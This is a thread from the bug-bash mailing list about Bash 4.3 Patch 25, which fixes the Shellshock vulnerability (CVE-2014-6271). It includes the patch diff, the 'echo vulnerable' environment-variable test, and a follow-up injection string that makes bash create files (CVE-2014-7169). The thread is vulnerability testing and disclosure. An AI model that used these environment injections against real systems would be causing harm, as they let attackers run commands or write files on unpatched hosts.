Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
Hello Eduardo,
I haven't installed the patched bash yet. I called it in the source
directory after compiling, it with ./bash so I think this should start the
patched bash.
Regards,
Ralf
On Thu, 25 Sep 2014, Eduardo A. Bustamante López wrote:
Date: Thu, 25 Sep 2014 13:50:00 -0700
From: Eduardo A. Bustamante López dual...@gmail.com
To: ralf.naeg...@she.net
Cc: bug-bash@gnu.org
Subject: Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
On Thu, Sep 25, 2014 at 05:33:38PM +0200, ralf.naeg...@she.net wrote:
Hello,
I've downloaded the source for bash 4.3 and all patches, patched the source
to Patch 25.
But according some description I've found (http://heise.de/-2403305 sorry,
only in German
available), you can test with the command
env x='() { :;}; echo vulnerable' bash -c echo this is a test
Did you install the patched bash properly? If you forgot to install
it, calling 'bash' will launch the still vulnerable version.
Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
On 26/09/2014 08:23, Ralf Naegele wrote:
Hello Eduardo,
I haven't installed the patched bash yet. I called it in the source
directory after compiling, it with ./bash so I think this should start the
patched bash.
You started ./bash as the parent reading the offending line, but did you also
modify it so that ./bash appears inside ?
env x='() { :;}; echo vulnerable' ./bash -c echo this is a test
This is important since the bug occurs in the child, at init time (within
shell_initialize_variables)
-Alex
Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
Hello Greg,
thanks for the hint, this seems to be the solution. I've copied the
compiled bash binary to the first directory from $PATH output and now the
test is ok:
[naegele@pinie ~]$ env x='() { :;}; echo vulnerable' bash -c echo this is a
test
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
this is a test
Regards,
Ralf
On Thu, 25 Sep 2014, Greg Wooledge wrote:
Date: Thu, 25 Sep 2014 16:52:19 -0400
From: Greg Wooledge wool...@eeg.ccf.org
To: ralf.naeg...@she.net
Cc: bug-bash@gnu.org
Subject: Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
On Thu, Sep 25, 2014 at 05:33:38PM +0200, ralf.naeg...@she.net wrote:
env x='() { :;}; echo vulnerable' bash -c echo this is a test
Did you *install* the patched version so that it is the first bash in
your PATH before running this? If not, you should specify a path to
bash (e.g. ./bash -c echo ...).
Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
Yes, you are right. It was my error. I've successfully tested now the
patched bash and it is working now as expected. Thanks for your help!
Regards,
Ralf
On Fri, 26 Sep 2014, Alexandre FERRIEUX - SOFT/LAN wrote:
Date: Fri, 26 Sep 2014 08:30:41 +0200
From: Alexandre FERRIEUX - SOFT/LAN alexandre.ferri...@orange.com
To: Ralf Naegele ralf.naeg...@she.net
Cc: Eduardo A. Bustamante López dual...@gmail.com, bug-bash@gnu.org
Subject: Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
On 26/09/2014 08:23, Ralf Naegele wrote:
Hello Eduardo,
I haven't installed the patched bash yet. I called it in the source
directory after compiling, it with ./bash so I think this should start the
patched bash.
You started ./bash as the parent reading the offending line, but did you also
modify it so that ./bash appears inside ?
env x='() { :;}; echo vulnerable' ./bash -c echo this is a test
This is important since the bug occurs in the child, at init time (within
shell_initialize_variables)
-Alex
Re: Bash-4.3 Official Patch 25
On Thu, Sep 25, 2014 at 07:58:56PM -0400, Chet Ramey wrote:
We used to do that, and part of the code that I removed in patch 25
supported the original `name()=() {'. We didn't use that very long; it
turns out that the Bourne shell (and others, at that time) dumps core on
malformed environment variable names. It's why we stuck with shell
identifiers, though the check for that didn't come in until later.
I'd be willing to bet that the Bourne shell that still runs on Solaris,
AIX, HP-UX, and SCO (if anyone still runs that) has this problem.
HP-UX 10.20 (which is from 1994, and was end-of-lifed many years ago)
only has a Bourne shell in /usr/old/bin/sh. It's not used in normal
operations. The /bin/sh on HP-UX is basically a stripped-down ksh.
Unfortunately it's a bit tricky to test whether the Bourne shell would
dump core on a malformed environment variable, because /usr/bin/env
refuses to put such a thing into the environment:
imadev:~$ env 'name()=() {' /usr/old/bin/sh -c 'echo hello'
name()=() {: is not an identifier
I'm not in the mood to write a C program to work around that.
While I haven't used AIX in a long time, the versions I used in the
mid-1990s did not have a Bourne shell either. Almost all the OS vendor
scripts on AIX use ksh anyway. The whole OS is very ksh-centric.
Re: Bash-4.3 Official Patch 25
On 09/26/2014 06:05 AM, Greg Wooledge wrote:
HP-UX 10.20 (which is from 1994, and was end-of-lifed many years ago)
only has a Bourne shell in /usr/old/bin/sh. It's not used in normal
operations. The /bin/sh on HP-UX is basically a stripped-down ksh.
Unfortunately it's a bit tricky to test whether the Bourne shell would
dump core on a malformed environment variable, because /usr/bin/env
refuses to put such a thing into the environment:
imadev:~$ env 'name()=() {' /usr/old/bin/sh -c 'echo hello'
name()=() {: is not an identifier
I'm not in the mood to write a C program to work around that.
GNU coreutils can be installed on HP-UX, and its 'env' can put such a
thing into the environment. Or writing such a C program is rather
simple. But I don't blame you for not worrying about it - it's a museum
system, and we should be worried more about modern systems at this point
in time.
--
Eric Blake eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org
signature.asc
Description: OpenPGP digital signature
Re: Bash-4.3 Official Patch 25
On Thu, Sep 25, 2014 at 06:02:11AM -0700, gnu.bash.bug wrote:
Hi,
This patch does not seem to work on HP-UX:
Worked for me on 10.20.
$ /usr/bin/env x='() { :;}; echo vulnerable' bash -c 'echo hello'
vulnerable
hello
imadev:~$ uname -a
HP-UX imadev B.10.20 A 9000/785 2008897791 two-user license
imadev:~$ bash -c 'echo $BASH_VERSION'
4.3.25(1)-release
imadev:~$ /usr/bin/env x='() { :;}; echo vulnerable' bash -c 'echo hello'
bash: warning: x: ignoring function definition attempt
bash: error importing function definition for `x'
hello
Are you absolutely sure that the bash your command is invoking is
the patched one?
Re: Bash-4.3 Official Patch 25
On 9/25/14, 9:02 AM, gnu.bash.bug wrote:
Hi,
This patch does not seem to work on HP-UX:
$ ./bash --version
GNU bash, version 4.3.25(1)-release (ia64-hp-hpux11.31)
Copyright (C) 2013 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later http://gnu.org/licenses/gpl.html
This is free software; you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
$ ./bash
$ CTRL-X CTRL-V in emacs mode displays the version to
GNU bash, version 4.3.25(1)-release (ia64-hp-hpux11.31)
$ /usr/bin/env x='() { :;}; echo vulnerable' bash -c 'echo hello'
vulnerable
hello
Since `.' is probably not in your $PATH before /bin, `env' is not running
the patched version. Try changing `bash -c' to `./bash -c'.
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
Re: Bash-4.3 Official Patch 25
Ah great, thanks for that...though since there's still the bug in p025 (see http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-7169 ) I'll keep spinning my wheels and watching the git branches until p026 rolls out. ta, Mark On Thu, Sep 25, 2014 at 3:55 PM, Chris F.A. Johnson ch...@cfajohnson.com wrote: On Wed, 24 Sep 2014, m...@ibiblio.org wrote: Bash-Release:4.3 Patch-ID:bash43-025 As a binary distribution archive maintainer, I'd be keen to see the authors distributing a cumulative bash-4.3p025.tar.gz source bundle (probably p026 to nail the new issues above). The ftp://ftp.cwru.edu/pub/bash site just has the main 4.3 file and 25 separate patches to merge. A downloadable tar file of the current version with all official patches applied is available from savannah. http://git.savannah.gnu.org/cgit/bash.git/snapshot/bash-master.tar.gz -- Chris F.A. Johnson, http://cfajohnson.com
Re: Bash-4.3 Official Patch 25
Are you absolutely sure that the bash your command is invoking is the patched one? You are right! I had like 4 other bash versions in my PATH So case closed... ;) Thanks! Michael
Re: Bash-4.3 Official Patch 25
Good day Chet, bash-list -
I just checked out the latest git head, applied the bash43-025 patch, and built
$ ./bash --version
GNU bash, version 4.3.25(3)-release (x86_64-unknown-linux-gnu)
...
which PASSED its 'make check' test suite, both under Ubuntu 14.04.1 LTS
and under RHEL-6.5+ , on an x86_64 (Haswell) 8-core platform .
But now there is an issue - bash seems to lose its idea of stdout / stderr being
a terminal within read loops, as illustrated by this test script (/tmp/t.sh):
quote
#!/bin/bash
tty
echo $'1\n2' test.list;
while read line; do
tty;
done test.list
/quote
Its output illustrates the problem:
quote
$ ./bash /tmp/t.sh
/dev/pts/6
not a tty
not a tty
/quote
This bug seems to have infected the latest Ubuntu bash release also,
which was created and pushed out today with the bash43-025 fix
for the CVE-2014-6271 issue :
quote
$ /bin/bash /tmp/t.sh
/dev/pts/6
not a tty
not a tty
/quote
(/bin/bash is from the bash-4.3-7ubuntu1.1 package) .
But /dev/fd/1 remains the same file :
quote
#!/bin/bash
tty
ls -l /dev/fd/1;
echo $'1\n2' test.list;
while read line; do
tty;
ls -l /dev/fd/1;
done test.list
/quote
Its output under Ubuntu bash:
$ /bin/bash /tmp/tsh
/dev/pts/6
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
not a tty
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
not a tty
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
This is rather confusing !
Any ideas what may the the issue here ?
Thanks Regards,
Jason
On 9/24/14, Chet Ramey chet.ra...@case.edu wrote:
BASH PATCH REPORT
=
Bash-Release: 4.3
Patch-ID: bash43-025
Bug-Reported-by: Stephane Chazelas stephane.chaze...@gmail.com
Bug-Reference-ID:
Bug-Reference-URL:
Bug-Description:
Under certain circumstances, bash will execute user code while processing
the
environment for exported function definitions.
Patch (apply with `patch -p0'):
*** ../bash-4.3-patched/builtins/common.h 2013-07-08 16:54:47.0
-0400
--- builtins/common.h 2014-09-12 14:25:47.0 -0400
***
*** 34,37
--- 49,54
#define SEVAL_PARSEONLY 0x020
#define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF 0x080 /* only allow function
definitions */
+ #define SEVAL_ONECMD0x100 /* only allow a single command
*/
/* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c 2014-02-11 09:42:10.0
-0500
--- builtins/evalstring.c 2014-09-14 14:15:13.0 -0400
***
*** 309,312
--- 313,324
struct fd_bitmap *bitmap;
+ if ((flags SEVAL_FUNCDEF) command-type != cm_function_def)
+ {
+ internal_warning (%s: ignoring function definition attempt,
from_file);
+ should_jump_to_top_level = 0;
+ last_result = last_command_exit_value = EX_BADUSAGE;
+ break;
+ }
+
bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame (pe_dispose);
***
*** 369,372
--- 381,387
dispose_fd_bitmap (bitmap);
discard_unwind_frame (pe_dispose);
+
+ if (flags SEVAL_ONECMD)
+ break;
}
}
*** ../bash-4.3-patched/variables.c 2014-05-15 08:26:50.0 -0400
--- variables.c 2014-09-14 14:23:35.0 -0400
***
*** 359,369
strcpy (temp_string + char_index + 1, string);
! if (posixly_correct == 0 || legal_identifier (name))
! parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
!
! /* Ancient backwards compatibility. Old versions of bash exported
! functions like name()=() {...} */
! if (name[char_index - 1] == ')' name[char_index - 2] == '(')
! name[char_index - 2] = '\0';
if (temp_var = find_function (name))
--- 364,372
strcpy (temp_string + char_index + 1, string);
! /* Don't import function names that are invalid identifiers from the
! environment, though we still allow them to be defined as shell
! variables. */
! if (legal_identifier (name))
! parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
if (temp_var = find_function (name))
***
*** 382,389
report_error (_(error importing function definition for `%s'),
name);
}
-
- /* ( */
- if (name[char_index - 1] == ')' name[char_index - 2] == '\0')
- name[char_index - 2] = '('; /* ) */
}
#if defined (ARRAY_VARS)
--- 385,388
*** ../bash-4.3-patched/subst.c 2014-08-11 11:16:35.0 -0400
--- subst.c 2014-09-12 15:31:04.0 -0400
Re: Bash-4.3 Official Patch 25
On Thu, Sep 25, 2014 at 02:50:03PM +0100, Jason Vas Dias wrote: But now there is an issue - bash seems to lose its idea of stdout / stderr being a terminal within read loops, as illustrated by this test script (/tmp/t.sh): quote #!/bin/bash tty echo $'1\n2' test.list; while read line; do tty; done test.list /quote Well, that's because you have redirected stdin. Try this instead: while read line 3; do tty done 3 test.list
Re: Bash-4.3 Official Patch 25
Jason Vas Dias jason.vas.d...@gmail.com writes: quote #!/bin/bash tty echo $'1\n2' test.list; while read line; do tty; done test.list /quote Its output illustrates the problem: quote $ ./bash /tmp/t.sh /dev/pts/6 not a tty not a tty /quote tty uses stdin, so this is the expected output. Why do you think this has anything to do with this patch? $ tty --help | head -n 2 Usage: tty [OPTION]... Print the file name of the terminal connected to standard input. Andreas. -- Andreas Schwab, SUSE Labs, sch...@suse.de GPG Key fingerprint = 0196 BAD8 1CE9 1970 F4BE 1748 E4D4 88E3 0EEA B9D7 And now for something completely different.
Re: Bash-4.3 Official Patch 25
Oops, sorry, this issue is nothing to do with the bash43-025 patch -
I just verified that the same issue occurs with bash 4.1.2(1) .
The issue was that a script that does an 'stty' command was
failing when run in a 'while read ... ' loop. It wasn't using
'stty -F', so was trying to stty on stdin, which was the list file.
Sorry, my mistake - a nasty coincindence that it was the first
thing I tried with the new bash version.
Regards,
Jason
On 9/25/14, Jason Vas Dias jason.vas.d...@gmail.com wrote:
Good day Chet, bash-list -
I just checked out the latest git head, applied the bash43-025 patch, and
built
$ ./bash --version
GNU bash, version 4.3.25(3)-release (x86_64-unknown-linux-gnu)
...
which PASSED its 'make check' test suite, both under Ubuntu 14.04.1 LTS
and under RHEL-6.5+ , on an x86_64 (Haswell) 8-core platform .
But now there is an issue - bash seems to lose its idea of stdout / stderr
being
a terminal within read loops, as illustrated by this test script
(/tmp/t.sh):
quote
#!/bin/bash
tty
echo $'1\n2' test.list;
while read line; do
tty;
done test.list
/quote
Its output illustrates the problem:
quote
$ ./bash /tmp/t.sh
/dev/pts/6
not a tty
not a tty
/quote
This bug seems to have infected the latest Ubuntu bash release also,
which was created and pushed out today with the bash43-025 fix
for the CVE-2014-6271 issue :
quote
$ /bin/bash /tmp/t.sh
/dev/pts/6
not a tty
not a tty
/quote
(/bin/bash is from the bash-4.3-7ubuntu1.1 package) .
But /dev/fd/1 remains the same file :
quote
#!/bin/bash
tty
ls -l /dev/fd/1;
echo $'1\n2' test.list;
while read line; do
tty;
ls -l /dev/fd/1;
done test.list
/quote
Its output under Ubuntu bash:
$ /bin/bash /tmp/tsh
/dev/pts/6
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
not a tty
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
not a tty
lrwx-- 1 jvasdias jvd 64 Sep 25 14:47 /dev/fd/1 - /dev/pts/6
This is rather confusing !
Any ideas what may the the issue here ?
Thanks Regards,
Jason
On 9/24/14, Chet Ramey chet.ra...@case.edu wrote:
BASH PATCH REPORT
=
Bash-Release:4.3
Patch-ID:bash43-025
Bug-Reported-by: Stephane Chazelas stephane.chaze...@gmail.com
Bug-Reference-ID:
Bug-Reference-URL:
Bug-Description:
Under certain circumstances, bash will execute user code while processing
the
environment for exported function definitions.
Patch (apply with `patch -p0'):
*** ../bash-4.3-patched/builtins/common.h2013-07-08 16:54:47.0
-0400
--- builtins/common.h2014-09-12 14:25:47.0 -0400
***
*** 34,37
--- 49,54
#define SEVAL_PARSEONLY0x020
#define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF 0x080 /* only allow function
definitions */
+ #define SEVAL_ONECMD 0x100 /* only allow a single command
*/
/* Flags for describe_command, shared between type.def and command.def
*/
*** ../bash-4.3-patched/builtins/evalstring.c2014-02-11
09:42:10.0
-0500
--- builtins/evalstring.c2014-09-14 14:15:13.0 -0400
***
*** 309,312
--- 313,324
struct fd_bitmap *bitmap;
+ if ((flags SEVAL_FUNCDEF) command-type != cm_function_def)
+{
+ internal_warning (%s: ignoring function definition attempt,
from_file);
+ should_jump_to_top_level = 0;
+ last_result = last_command_exit_value = EX_BADUSAGE;
+ break;
+}
+
bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame (pe_dispose);
***
*** 369,372
--- 381,387
dispose_fd_bitmap (bitmap);
discard_unwind_frame (pe_dispose);
+
+ if (flags SEVAL_ONECMD)
+break;
}
}
*** ../bash-4.3-patched/variables.c 2014-05-15 08:26:50.0 -0400
--- variables.c 2014-09-14 14:23:35.0 -0400
***
*** 359,369
strcpy (temp_string + char_index + 1, string);
! if (posixly_correct == 0 || legal_identifier (name))
!parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
!
! /* Ancient backwards compatibility. Old versions of bash exported
! functions like name()=() {...} */
! if (name[char_index - 1] == ')' name[char_index - 2] == '(')
!name[char_index - 2] = '\0';
if (temp_var = find_function (name))
--- 364,372
strcpy (temp_string + char_index + 1, string);
! /* Don't import function names that are invalid identifiers from the
! environment, though we still allow them to be defined as shell
! variables. */
! if (legal_identifier (name))
!parse_and_execute (temp_string, name,
Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
Hello,
I've downloaded the source for bash 4.3 and all patches, patched the source to
Patch 25.
But according some description I've found (http://heise.de/-2403305 sorry, only
in German
available), you can test with the command
env x='() { :;}; echo vulnerable' bash -c echo this is a test
if your bash is vulnerable. But according this test the bash 4.3 with patch 25
seems
still vulnerable. I've tried this test with other Linux servers, where the
patched
bash binaries came from the repositories (Ubuntu, CentOS), where this test now
fails.
So my question: is bash in this version with patch 25 still vulnerable to
CVE-2014-6271?
With kind regards,
Ralf
Configuration Information [Automatically generated, do not change]:
Machine: i686
OS: linux-gnu
Compiler: gcc
Compilation CFLAGS: -DPROGRAM='bash' -DCONF_HOSTTYPE='i686'
-DCONF_OSTYPE='linux-gnu' -DCONF_MACHTYPE='i686-pc-linux-gnu'
-DCONF_VENDOR='pc' -DLOCALEDIR='/usr/share/locale' -DPACKAGE='bash' -DSHELL
-DHAVE_CONFIG_H -I. -I. -I./include -I./lib -g -O2
uname output: Linux pinie 2.6.18.8-0.3-default #1 SMP Tue Apr 17 08:42:35 UTC
2007 i686 athlon i386 GNU/Linux
Machine Type: i686-pc-linux-gnu
Bash Version: 4.3
Patch Level: 25
Release Status: release
Description:
[Detailed description of the problem, suggestion, or complaint.]
Repeat-By:
[Describe the sequence of events that causes the problem
to occur.]
Fix:
[Description of how to fix the problem. If you don't know a
fix for the problem, don't include this section.]
Re: Bash-4.3 Official Patch 25 Bug 896776 - (CVE-2014-6271)
On 09/25/2014 09:33 AM, ralf.naeg...@she.net wrote:
Hello,
I've downloaded the source for bash 4.3 and all patches, patched the source
to Patch 25.
But according some description I've found (http://heise.de/-2403305 sorry,
only in German
available), you can test with the command
env x='() { :;}; echo vulnerable' bash -c echo this is a test
Are you sure you are testing your just-built bash, and not whatever
version of bash happened to be first in your $PATH?
if your bash is vulnerable. But according this test the bash 4.3 with patch
25 seems
still vulnerable. I've tried this test with other Linux servers, where the
patched
bash binaries came from the repositories (Ubuntu, CentOS), where this test
now fails.
So my question: is bash in this version with patch 25 still vulnerable to
CVE-2014-6271?
No. Patch 25 is what solves CVE-2014-6271 (but you will still need to
wait for Patch 26 before having a solution to the weaker CVE-2014-7169).
--
Eric Blake eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org
signature.asc
Description: OpenPGP digital signature
Re: Bash-4.3 Official Patch 25
On 9/24/14, 5:38 PM, Eric Blake wrote:
and I'd feel much more comfortable with exporting f()=... as the
backdoor for passing the function definition, _particularly_ since the
shell already allows functions and variables to co-exist:
We used to do that, and part of the code that I removed in patch 25
supported the original `name()=() {'. We didn't use that very long; it
turns out that the Bourne shell (and others, at that time) dumps core on
malformed environment variable names. It's why we stuck with shell
identifiers, though the check for that didn't come in until later.
I'd be willing to bet that the Bourne shell that still runs on Solaris,
AIX, HP-UX, and SCO (if anyone still runs that) has this problem.
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
Re: Bash-4.3 Official Patch 25
On Friday, September 26, 2014 9:58:56 AM UTC+10, Chet Ramey wrote:
On 9/24/14, 5:38 PM, Eric Blake wrote:
and I'd feel much more comfortable with exporting f()=... as the
backdoor for passing the function definition, _particularly_ since the
shell already allows functions and variables to co-exist:
We used to do that, and part of the code that I removed in patch 25
supported the original `name()=() {'. We didn't use that very long; it
turns out that the Bourne shell (and others, at that time) dumps core on
malformed environment variable names. It's why we stuck with shell
identifiers, though the check for that didn't come in until later.
I'd be willing to bet that the Bourne shell that still runs on Solaris,
AIX, HP-UX, and SCO (if anyone still runs that) has this problem.
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
Not these Solaris ones :)
env x='() { :;}; echo vulnerable' /usr/local/bin/bash -c echo this is a test
/usr/local/bin/bash: warning: x: ignoring function definition attempt
/usr/local/bin/bash: error importing function definition for `x'
this is a test
bash-4.3# (X='() { (a)=\' bash -c echo ls /etc; cat echo)
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
ls /etc
cat: cannot open echo
I've just issued the new Solaris packages on the archive.
http://www.ibiblio.org/pub/packages/solaris/sparc/
-rw---1 mark users 7463936 Sep 26 00:06
bash.4.3.p026.SPARC.32bit.Solaris.10.pkg
-rw---1 mark users 7745024 Sep 26 00:06
bash.4.3.p026.SPARC.32bit.Solaris.8.pkg
-rw---1 mark users 7750144 Sep 26 00:06
bash.4.3.p026.SPARC.32bit.Solaris.9.pkg
-rw---1 mark users 7765504 Sep 26 00:06
bash.4.3.p026.SPARC.64bit.Solaris.10.pkg
-rw---1 mark users 7968768 Sep 26 00:07
bash.4.3.p026.SPARC.64bit.Solaris.11.pkg
-rw---1 mark users 8154112 Sep 26 00:07
bash.4.3.p026.SPARC.64bit.Solaris.8.pkg
-rw---1 mark users 8147456 Sep 26 00:07
bash.4.3.p026.SPARC.64bit.Solaris.9.pkg
-rw---1 mark users 7868416 Sep 26 00:07
bash.4.3.p026.i86pc.64bit.Solaris.11.pkg
-rw---1 mark users 7700992 Sep 26 00:07
bash.4.3.p026.i86pc.Solaris.10.pkg
-rw---1 mark users 7426560 Sep 26 00:07
bash.4.3.p026.i86pc.Solaris.11.pkg
-rw---1 mark users 1685504 Sep 26 00:06
readline.6.3.SPARC.32bit.Solaris.10.pkg
-rw---1 mark users 1706496 Sep 26 00:06
readline.6.3.SPARC.32bit.Solaris.8.pkg
-rw---1 mark users 1715200 Sep 26 00:06
readline.6.3.SPARC.32bit.Solaris.9.pkg
-rw---1 mark users 2161152 Sep 26 00:06
readline.6.3.SPARC.64bit.Solaris.10.pkg
-rw---1 mark users 2287104 Sep 26 00:06
readline.6.3.SPARC.64bit.Solaris.11.pkg
-rw---1 mark users 2199552 Sep 26 00:06
readline.6.3.SPARC.64bit.Solaris.8.pkg
-rw---1 mark users 2196992 Sep 26 00:06
readline.6.3.SPARC.64bit.Solaris.9.pkg
-rw---1 mark users 3524608 Sep 26 00:06
readline.6.3.i86pc.64bit.Solaris.11.pkg
-rw---1 mark users 1645056 Sep 26 00:06
readline.6.3.i86pc.Solaris.10.pkg
-rw---1 mark users 1554432 Sep 26 00:06
readline.6.3.i86pc.Solaris.11.pkg
Bash-4.3 Official Patch 25
BASH PATCH REPORT
=
Bash-Release: 4.3
Patch-ID: bash43-025
Bug-Reported-by:Stephane Chazelas stephane.chaze...@gmail.com
Bug-Reference-ID:
Bug-Reference-URL:
Bug-Description:
Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.
Patch (apply with `patch -p0'):
*** ../bash-4.3-patched/builtins/common.h 2013-07-08 16:54:47.0
-0400
--- builtins/common.h 2014-09-12 14:25:47.0 -0400
***
*** 34,37
--- 49,54
#define SEVAL_PARSEONLY 0x020
#define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF 0x080 /* only allow function definitions */
+ #define SEVAL_ONECMD 0x100 /* only allow a single command */
/* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c 2014-02-11 09:42:10.0
-0500
--- builtins/evalstring.c 2014-09-14 14:15:13.0 -0400
***
*** 309,312
--- 313,324
struct fd_bitmap *bitmap;
+ if ((flags SEVAL_FUNCDEF) command-type != cm_function_def)
+ {
+ internal_warning (%s: ignoring function definition attempt,
from_file);
+ should_jump_to_top_level = 0;
+ last_result = last_command_exit_value = EX_BADUSAGE;
+ break;
+ }
+
bitmap = new_fd_bitmap (FD_BITMAP_SIZE);
begin_unwind_frame (pe_dispose);
***
*** 369,372
--- 381,387
dispose_fd_bitmap (bitmap);
discard_unwind_frame (pe_dispose);
+
+ if (flags SEVAL_ONECMD)
+ break;
}
}
*** ../bash-4.3-patched/variables.c 2014-05-15 08:26:50.0 -0400
--- variables.c 2014-09-14 14:23:35.0 -0400
***
*** 359,369
strcpy (temp_string + char_index + 1, string);
! if (posixly_correct == 0 || legal_identifier (name))
! parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
!
! /* Ancient backwards compatibility. Old versions of bash exported
!functions like name()=() {...} */
! if (name[char_index - 1] == ')' name[char_index - 2] == '(')
! name[char_index - 2] = '\0';
if (temp_var = find_function (name))
--- 364,372
strcpy (temp_string + char_index + 1, string);
! /* Don't import function names that are invalid identifiers from the
!environment, though we still allow them to be defined as shell
!variables. */
! if (legal_identifier (name))
! parse_and_execute (temp_string, name,
SEVAL_NONINT|SEVAL_NOHIST|SEVAL_FUNCDEF|SEVAL_ONECMD);
if (temp_var = find_function (name))
***
*** 382,389
report_error (_(error importing function definition for `%s'),
name);
}
-
- /* ( */
- if (name[char_index - 1] == ')' name[char_index - 2] == '\0')
- name[char_index - 2] = '('; /* ) */
}
#if defined (ARRAY_VARS)
--- 385,388
*** ../bash-4.3-patched/subst.c 2014-08-11 11:16:35.0 -0400
--- subst.c 2014-09-12 15:31:04.0 -0400
***
*** 8048,8052
goto return0;
}
! else if (var = find_variable_last_nameref (temp1))
{
temp = nameref_cell (var);
--- 8118,8124
goto return0;
}
! else if (var (invisible_p (var) || var_isset (var) == 0))
! temp = (char *)NULL;
! else if ((var = find_variable_last_nameref (temp1)) var_isset (var)
invisible_p (var) == 0)
{
temp = nameref_cell (var);
*** ../bash-4.3/patchlevel.h2012-12-29 10:47:57.0 -0500
--- patchlevel.h2014-03-20 20:01:28.0 -0400
***
*** 26,30
looks for to find the patch level (for the sccs version string). */
! #define PATCHLEVEL 24
#endif /* _PATCHLEVEL_H_ */
--- 26,30
looks for to find the patch level (for the sccs version string). */
! #define PATCHLEVEL 25
#endif /* _PATCHLEVEL_H_ */
--
``The lyf so short, the craft so long to lerne.'' - Chaucer
``Ars longa, vita brevis'' - Hippocrates
Chet Ramey, ITS, CWRUc...@case.eduhttp://cnswww.cns.cwru.edu/~chet/
Re: Bash-4.3 Official Patch 25
On 09/24/2014 08:27 AM, Chet Ramey wrote:
BASH PATCH REPORT
=
Bash-Release: 4.3
Patch-ID: bash43-025
Bug-Reported-by: Stephane Chazelas stephane.chaze...@gmail.com
Bug-Reference-ID:
Bug-Reference-URL:
https://bugzilla.redhat.com/show_bug.cgi?id=1141597 describes this bug
(aka CVE-2014-6271), and points out that even _with_ this patch, there
is still a flaw that attackers can use to overwrite portions of the
filesystem, which is also a possible exploitation avenue:
$ ls -l date
ls: cannot access date: No such file or directory
$ env -i X='() { (a)=\' bash -c 'date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ ls -l date
-rw---. 1 taviso taviso 0 Sep 24 14:06 date
*** 359,369
strcpy (temp_string + char_index + 1, string);
! if (posixly_correct == 0 || legal_identifier (name))
! parse_and_execute (temp_string, name, SEVAL_NONINT|SEVAL_NOHIST);
!
! /* Ancient backwards compatibility. Old versions of bash exported
! functions like name()=() {...} */
Personally, I think that exporting functions via names that CANNOT be
valid normal variables, rather than excluding a subset of values to
normal variables that cannot be exported, would be the better course of
action. It seems quite odd that my choice of whitespace in what I
thought was an arbitrary string assignment to a normal variable will
determine what my child process will see:
$ f='(){ :; }' bash -c 'type f; echo \$f\'
bash: line 0: type: f: not found
(){ :; }
$ f='() { :; }' bash -c 'type f; echo \$f\'
f is a function
f ()
{
:
}
and I'd feel much more comfortable with exporting f()=... as the
backdoor for passing the function definition, _particularly_ since the
shell already allows functions and variables to co-exist:
$ bash -c 'export f=hello; f() { echo goodbye; }; echo \$f\; f'
hello
goodbye
Here's hoping there's more official patches forthcoming.
--
Eric Blake eblake redhat com+1-919-301-3266
Libvirt virtualization library http://libvirt.org
signature.asc
Description: OpenPGP digital signature
Re: Bash-4.3 Official Patch 25
Eric Blake wrote:
https://bugzilla.redhat.com/show_bug.cgi?id=1141597 describes this bug
(aka CVE-2014-6271), and points out that even _with_ this patch, there
is still a flaw that attackers can use to overwrite portions of the
filesystem, which is also a possible exploitation avenue:
$ ls -l date
ls: cannot access date: No such file or directory
$ env -i X='() { (a)=\' bash -c 'date'
bash: X: line 1: syntax error near unexpected token `='
bash: X: line 1: `'
bash: error importing function definition for `X'
$ ls -l date
-rw---. 1 taviso taviso 0 Sep 24 14:06 date
It doesn't just create 0-sized files:
$ echo { echo 'Hello World' } foo.sh
$ VAR='() { (a) =\' bash foo.sh
